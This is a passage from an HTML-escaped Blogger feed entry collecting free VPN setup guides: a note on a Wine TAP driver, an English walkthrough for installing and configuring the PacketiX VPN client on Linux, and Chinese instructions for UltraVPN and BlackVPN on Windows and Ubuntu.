size="2"&gt;&lt;font size="2"&gt;NetBSD&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;FreeBSD&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;Dragonfly&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;WIN32&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;Superficially looked at the&amp;nbsp;&lt;/font&gt;&lt;i&gt;&lt;font size="2"&gt;open_tun&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&amp;nbsp;implementation for WIN32, it doesn't substantially look different besides that we know that the functions to call have different names and slightly different semantics:&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;We look for the driver.&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;We open the file associated with the driver.&amp;nbsp;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;We configure the driver using device controls.&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;Therefore a TAP implementation for&amp;nbsp;&lt;/font&gt;&lt;a style="text-decoration: none; font-weight: normal"&gt;&lt;font size="2"&gt;wine&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;:&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;has to be found as a driver in the Registry.&amp;nbsp;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;should provide a device file that can be openedbe able to open the driver file (the device file).&amp;nbsp;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;provide the Windows device controls and map them to the native OS.&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;Since&amp;nbsp;&lt;/font&gt;&lt;a style="text-decoration: none; font-weight: normal"&gt;&lt;font size="2"&gt;OpenVPN's&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;&amp;nbsp;&lt;/font&gt;&lt;i&gt;&lt;font size="2"&gt;tun.c&lt;/font&gt;&lt;/i&gt;&lt;font size="2"&gt;&amp;nbsp;is already doing the majority of the work, the actual implementation could be largely pasted from the above mentioned file.&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;font size="2"&gt;&lt;font size="2"&gt;&lt;h3 style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="4"&gt;7.PacketiX.NET vpn client installation on linux&lt;/font&gt;&lt;/h3&gt;&lt;p class="byline" style="margin-right: 0px; margin-left: 0px; color: rgb(85, 85, 85)"&gt;&lt;font size="2"&gt;In&amp;nbsp;&lt;a href="http://wan.pengganas.net/category/tips/" title="View all posts in tips &amp;amp; tricks" rel="category tag" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0); text-decoration: none"&gt;&lt;b&gt;tips &amp;amp; tricks&lt;/b&gt;&lt;/a&gt;&amp;nbsp;on 8 August 2009 tagged&amp;nbsp;&lt;a href="http://wan.pengganas.net/tag/simple-packetix-free-vpn-guide/" rel="tag" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0); text-decoration: none"&gt;&lt;b&gt;simple packetix free vpn guide&lt;/b&gt;&lt;/a&gt;&amp;nbsp;with 6 comments&lt;/font&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;recently i'm been using packetix.net vpn and the speed is quite good... unfortunately there's not many guide on how to use the client on linux, so i'm writing one.&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;this gonna be very long..so bear with me till the end ..huhu&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;0. to make things easier, lets transform into root&amp;nbsp;&lt;img src="http://wan.pengganas.net/smilies/biggrin.gif" alt=":D" class="wp-smiley" title=":D" style="margin-right: 0px; margin-left: 0px; border-style: initial; border-color: initial"&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;sudo su &amp;amp;&amp;amp; cd&lt;/b&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;1. now, make a folder name vpn and download the vpnclient file from their web http://packetix.net/en/secure/install/&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;mkdir vpn &amp;amp;&amp;amp; cd vpn&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;wget -c http://packetix.net/en/special/files/vpn2_5350_en/vpnclient-5350a-rtm-en-linux-x86.tar.gz&lt;/b&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;2. now to compile this files, you need zlib, openssl, readline and ncurses.&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;apt-get install zlib1g-dev libreadline5-dev&lt;/b&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;3. once finish,extract the file and continue with compile&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;tar -zxvf vpnclient-5350a-rtm-en-linux-x86.tar.gz &amp;amp;&amp;amp; cd vpnclient* &amp;amp;&amp;amp; make&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;4. connecting/tunneling to packettix.net&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;./vpnclient start&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;./vpncmd&lt;/b&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;5. inside vpncmd&lt;br style="margin-right: 0px; margin-left: 0px"&gt;choose number 2&lt;br style="margin-right: 0px; margin-left: 0px"&gt;[2] Management of VPN Clinet and input localhost as the destination host&lt;br style="margin-right: 0px; margin-left: 0px"&gt;u will see something like this...&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Input destination:&amp;nbsp;&lt;b&gt;localhost&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Connected to VPN Client "&lt;b&gt;localhost&lt;/b&gt;".&lt;br style="margin-right: 0px; margin-left: 0px"&gt;VPN Client&amp;gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;6. now configuring your connection....read..and follow&lt;br style="margin-right: 0px; margin-left: 0px"&gt;root@bur8:~/vpnclient&amp;gt;&amp;nbsp;&lt;b&gt;./vpncmd&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;vpncmd command - PacketiX VPN Command Line Management Utility&lt;br style="margin-right: 0px; margin-left: 0px"&gt;PacketiX VPN Command Line Management Utility (vpncmd command)&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Version 2.20 Build 5350&amp;nbsp;&amp;nbsp; (English)&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Compiled Oct&amp;nbsp; 9 2007 01:27:58 by yagi at ILC308&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Copyright (C) 2004-2007 SoftEther Corporation. All Rights Reserved.&lt;br style="margin-right: 0px; margin-left: 0px"&gt;By using vpncmd program, the following can be achieved.&lt;br style="margin-right: 0px; margin-left: 0px"&gt;1. Management of VPN Server or VPN Bridge&lt;br style="margin-right: 0px; margin-left: 0px"&gt;2. Management of VPN Clinet&lt;br style="margin-right: 0px; margin-left: 0px"&gt;3. Use of VPN Tools (certificate creation and communication speed measurement)&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;Select 1, 2 or 3:&amp;nbsp;&lt;b&gt;2&lt;/b&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;Specify the host name or IP address of the computer that the destination VPN Client is operating on.&lt;br style="margin-right: 0px; margin-left: 0px"&gt;If nothing is input and Enter is pressed, connection will be made to localhost (this computer).&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Input destination:&lt;b&gt;&amp;nbsp;localhost&lt;/b&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;Connected to VPN Client "&lt;b&gt;localhost&lt;/b&gt;".&lt;br style="margin-right: 0px; margin-left: 0px"&gt;VPN Client&amp;gt;niccreate&lt;br style="margin-right: 0px; margin-left: 0px"&gt;NicCreate command - Create New Virtual Network Adapter&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Virtual Network Adapter Name:&amp;nbsp;&lt;b&gt;0&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;The command terminated normally.&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;*** now lets configure our account and connection&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;VPN Client&amp;gt;&lt;b&gt;niclist&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;NicList command - Get List of Virtual Network Adapters&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Item&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |Value&lt;br style="margin-right: 0px; margin-left: 0px"&gt;----------------------------+-----------------------------------&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Virtual Network Adapter Name|&lt;b&gt;0&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Status&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |Enabled&lt;br style="margin-right: 0px; margin-left: 0px"&gt;MAC Address&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |00AC9D035CF6&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Version&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |Version 2.20 Build 5350&amp;nbsp;&amp;nbsp; (English)&lt;br style="margin-right: 0px; margin-left: 0px"&gt;The command terminated normally.&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;VPN Client&amp;gt;&lt;b&gt;accountcreate&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;AccountCreate command - Create New VPN Connection Setting&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Name of VPN Connection Setting:&amp;nbsp;&lt;b&gt;VPN&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Destination VPN Server Host Name and Port Number:&amp;nbsp;&lt;b&gt;public.softether.com:443&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Destination Virtual HUB Name:&amp;nbsp;&lt;b&gt;PUBLIC&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Connecting User Name:&amp;nbsp;&lt;b&gt;PUBLIC&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Used Virtual Network Adapter Name:&amp;nbsp;&lt;b&gt;0&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;The command terminated normally.&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;VPN Client&amp;gt;&lt;b&gt;accountlist&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;AccountList command - Get List of VPN Connection Settings&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Item&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |Value&lt;br style="margin-right: 0px; margin-left: 0px"&gt;----------------------------+-----------------------------------------------&lt;br style="margin-right: 0px; margin-left: 0px"&gt;VPN Connection Setting Name |&lt;b&gt;VPN&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Status&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;b&gt;Offline&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;VPN Server Address&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;b&gt;public.softether.com&lt;/b&gt;&amp;nbsp;(Direct TCP/IP Connection)&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Virtual Network Adapter Name|&lt;b&gt;0&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;The command terminated normally.&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;VPN Client&amp;gt;accountconnect&lt;br style="margin-right: 0px; margin-left: 0px"&gt;AccountConnect command - Start Connection to VPN Server using VPN Connection Setting&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Name of VPN Connection Setting: VPN&lt;br style="margin-right: 0px; margin-left: 0px"&gt;The command terminated normally.&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;*** wait for awhile and list the account again&lt;/b&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;VPN Client&amp;gt;accountlist&lt;br style="margin-right: 0px; margin-left: 0px"&gt;AccountList command - Get List of VPN Connection Settings&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Item&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |Value&lt;br style="margin-right: 0px; margin-left: 0px"&gt;----------------------------+-----------------------------------------------&lt;br style="margin-right: 0px; margin-left: 0px"&gt;VPN Connection Setting Name |&lt;b&gt;VPN&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Status&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;b&gt;Connected&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;VPN Server Address&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;b&gt;public.softether.com&lt;/b&gt;&amp;nbsp;(Direct TCP/IP Connection)&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Virtual Network Adapter Name|&lt;b&gt;0&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;The command terminated normally.&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;*** set this as default connection everytime vpnclient started&lt;/b&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;VPN Client&amp;gt;&lt;b&gt;AccountStartupSet&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;AccountStartupSet command - Set VPN Connection Setting as Startup Connection&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Name of VPN Connection Setting:&amp;nbsp;&lt;b&gt;VPN&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;VPN Client&amp;gt;quit&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;7. now check for connection... note the value of&amp;nbsp;&lt;b&gt;_0&lt;/b&gt;&amp;nbsp;at the end of&amp;nbsp;&lt;b&gt;vpn&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;root@bur8:~/vpnclient&amp;gt;&lt;b&gt;&amp;nbsp;ifconfig vpn_0&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;vpn&lt;b&gt;_0&lt;/b&gt;&amp;nbsp;Link encap:Ethernet&amp;nbsp; HWaddr 00:ac:9d:03:5c:f6&lt;br style="margin-right: 0px; margin-left: 0px"&gt;UP BROADCAST RUNNING MULTICAST&amp;nbsp; MTU:1500&amp;nbsp; Metric:1&lt;br style="margin-right: 0px; margin-left: 0px"&gt;RX packets:1603 errors:0 dropped:0 overruns:0 frame:0&lt;br style="margin-right: 0px; margin-left: 0px"&gt;TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br style="margin-right: 0px; margin-left: 0px"&gt;collisions:0 txqueuelen:500&lt;br style="margin-right: 0px; margin-left: 0px"&gt;RX bytes:463867 (463.8 KB)&amp;nbsp; TX bytes:0 (0.0 B)&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;7. get dhcp from vpn&lt;br style="margin-right: 0px; margin-left: 0px"&gt;root@bur8:~/vpnclient&amp;gt;&amp;nbsp;&lt;b&gt;dhclient vpn_0&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Listening on LPF/vpn_0/00:ac:9d:03:5c:f6&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Sending on&amp;nbsp;&amp;nbsp; LPF/vpn_0/00:ac:9d:03:5c:f6&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Sending on&amp;nbsp;&amp;nbsp; Socket/fallback&lt;br style="margin-right: 0px; margin-left: 0px"&gt;DHCPREQUEST of 10.3.83.250 on vpn_0 to 255.255.255.255 port 67&lt;br style="margin-right: 0px; margin-left: 0px"&gt;DHCPACK of 10.3.83.250 from 10.0.0.1&lt;br style="margin-right: 0px; margin-left: 0px"&gt;bound to 10.3.83.250 -- renewal in 437751335 seconds.&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;root@bur8:~/vpnclient&amp;gt; ifconfig vpn_0&lt;br style="margin-right: 0px; margin-left: 0px"&gt;vpn_0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Link encap:Ethernet&amp;nbsp; HWaddr 00:ac:9d:03:5c:f6&lt;br style="margin-right: 0px; margin-left: 0px"&gt;inet addr:&lt;b&gt;10.3.83.250&lt;/b&gt;&amp;nbsp;Bcast:10.&lt;b&gt;255.255.255&lt;/b&gt;&amp;nbsp;Mask:255.0.0.0&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;now you can start routing you connection to vpn..&lt;br style="margin-right: 0px; margin-left: 0px"&gt;sorry but this is a noob routing technique...it will redirect all your traffic to vpn&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;route del default&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;route add default dev vpn_0&lt;/b&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;for more about how to do advance routing in linux please refer to&lt;a title="linux advance routing" href="http://lartc.org/howto/index.html" style="margin-right: 0px; margin-left: 0px; color: rgb(0, 0, 0); text-decoration: none"&gt;&lt;b&gt;http://lartc.org/howto/index.html&lt;/b&gt;&lt;/a&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;p/s: to back to your current connection.. stop the service and reroute back to your original gateway.&lt;br style="margin-right: 0px; margin-left: 0px"&gt;in my case&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;./vpnclient stop&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;route del default&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;b&gt;route add default dev ppp0&lt;/b&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;where ppp0 is my celcom 3g modem interface&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;&lt;br&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;&lt;br&gt;&lt;/p&gt;&lt;p style="margin-right: 0px; margin-left: 0px"&gt;&lt;font size="5"&gt;8&lt;/font&gt;.&lt;span style="font-family: Arial; color: rgb(255, 0, 0)"&gt;&lt;b&gt;&lt;font size="5"&gt;UltraVPN&lt;/font&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-family: Arial"&gt;&lt;p&gt;&lt;font size="3"&gt;注册帐号。&lt;br&gt;到&lt;a target="_blank" href="http://ultravpn.fr/account.htm"&gt;UltraVPN的网站http://ultravpn.fr/account.htm&lt;/a&gt;输入帐号、密码，帐号立马到手。邮箱是可选项，用于找回密码。&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;widows篇：&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;下载UltraVPN&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;&lt;a href="http://ultravpn.fr/download/ultravpn-install.exe" target="_blank"&gt;http://ultravpn.fr/download/ultravpn-install.exe&lt;/a&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;安装和设置可以看的&lt;a href="http://hi.baidu.com/gdhi/blog/item/cd9a6a59031fc5202834f088.html" target="_blank"&gt;alonweb安装使用教程&amp;nbsp;&lt;/a&gt;两者几乎一样。&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;Ubuntu篇:&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;1. 获取ca证书和帐号配置文件。这一步有二个渠道完成。&lt;br&gt;借助Windows或Mac的机器安装好UltraVPN之后，复制软件安装路径中config目录下的ca.crt、client.ovpn和stealthy connect.ovpn三个文件。&lt;br&gt;或者直接下载为大家准备的ca.crt、client.ovpn、stealthy connect.ovpn.地址为：&lt;a target="_blank" href="http://d.namipan.com/d/596d2edee6e6aea86022000daa34d841f93dd9c6c5050000"&gt;http://d.namipan.com/d/596d2edee6e6aea86022000daa34d841f93dd9c6c5050000&lt;/a&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font size="3"&gt;2. 安装OpenVPN。&lt;/font&gt;&lt;/p&gt;&lt;font face="Courier New"&gt;&lt;font size="3"&gt;$ sudo apt-get install network-manager-openvpn&lt;/font&gt;&lt;/font&gt;&lt;font size="3"&gt;3. 建立&lt;span style="color: black; background-color: rgb(255, 255, 255)"&gt;VPN&lt;/span&gt;连接。这一步也有两种方式完成。&lt;br&gt;导入式：右键点击网络连接图标，选择“编辑连接…”，切换到标签“VPN”， 点“导入“，选择第2步获取的client.ovpn文件（也可以选择stealthy connect.ovpn文件，用于创建安全连接），在弹出的编辑界面中填好第1 步注册的用户名、密码，”CA 认证”选择第2步获取的”ca.crt”文件，点”应用”完成。&lt;br&gt;&lt;br&gt;&lt;img border="0" src="http://hiphotos.baidu.com/gdhi/pic/item/4332b8b7b93de1df30add11f.jpg" class="blogimg"&gt;&lt;br&gt;4. 连接VPN。左键点击网络连接图标，在“VPN Connections“中选择第2步创建的连接,在这里会弹出一个提示：&lt;br&gt;&lt;img border="0" src="http://hiphotos.baidu.com/gdhi/pic/item/b5e1f9de3f15617f95ee3712.jpg" class="blogimg"&gt;&lt;br&gt;&lt;br&gt;如果网络连接图标出现一个小锁，&lt;br&gt;&lt;img border="0" src="http://hiphotos.baidu.com/gdhi/pic/item/3dcf942f167ec5131e308936.jpg" class="blogimg"&gt;&lt;br&gt;&lt;br&gt;就说明连接成功了，访问一下www.google.com看是不是变成法国的了。&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/font&gt;&lt;font color="#ff0000"&gt;&lt;b&gt;&lt;font size="5"&gt;BlackVPN&lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;br&gt;&lt;/font&gt;&lt;p&gt;&lt;font size="3"&gt;&lt;font color="#000000"&gt;打开&lt;b&gt;blackVPN&lt;/b&gt;官方网站&amp;nbsp;&lt;/font&gt;&lt;a target="_blank" href="http://www.blackvpn.com/"&gt;&lt;b&gt;&lt;font color="#000000"&gt;http://www.blackvpn.com/&lt;/font&gt;&lt;/b&gt;&lt;/a&gt;&lt;font color="#000000"&gt;，进行免费&lt;b&gt;申请blackVPN账号&lt;/b&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;font size="3"&gt;第一项 InviteCode 邀请码输入&amp;nbsp;&lt;font color="#ff0000"&gt;&lt;b&gt;GetUp&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font color="#000000"&gt;&lt;br&gt;再依次输入你的邮箱，名，姓&lt;/font&gt;等等完成注册。&lt;br&gt;然后网站会随机反馈给你户名和密码&lt;br&gt;username/login: XXXXX&lt;br&gt;password:XXXXX&lt;br&gt;记住上面这两个。&lt;br&gt;接下来的步骤和UltraVPN一样。&lt;br&gt;导入的文件为&lt;a target="_blank" href="http://www.blackvpn.com/content/uploads/blackvpn.zip"&gt;blackvpn.zip&lt;/a&gt;&lt;br&gt;里面有三个设置&lt;br&gt;blackvpn_netherlands.conf&amp;nbsp;&lt;br&gt;blackvpn_uk.conf&amp;nbsp;&lt;br&gt;blackvpn_usa.conf&lt;br&gt;任选一个，三个的连接速度会不一样，选其中快的&amp;nbsp;&lt;br&gt;证书在ssh文件夹里ca.crt&lt;/font&gt;&lt;/span&gt;&lt;/font&gt;&lt;/font&gt;&lt;p&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/font&gt;&lt;/div&gt;&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7460769715768107728-8745857177216988322?l=zch051383471952.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zch051383471952.blogspot.com/feeds/8745857177216988322/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7460769715768107728&amp;postID=8745857177216988322' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/8745857177216988322'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/8745857177216988322'/><link rel='alternate' type='text/html' href='http://zch051383471952.blogspot.com/2010/01/free-vpn-tools.html' title='Free VPN Tools'/><author><name>zch-alex</name><uri>http://www.blogger.com/profile/01183124204454312366</uri><email>noreply@blogger.com</email><gd:image 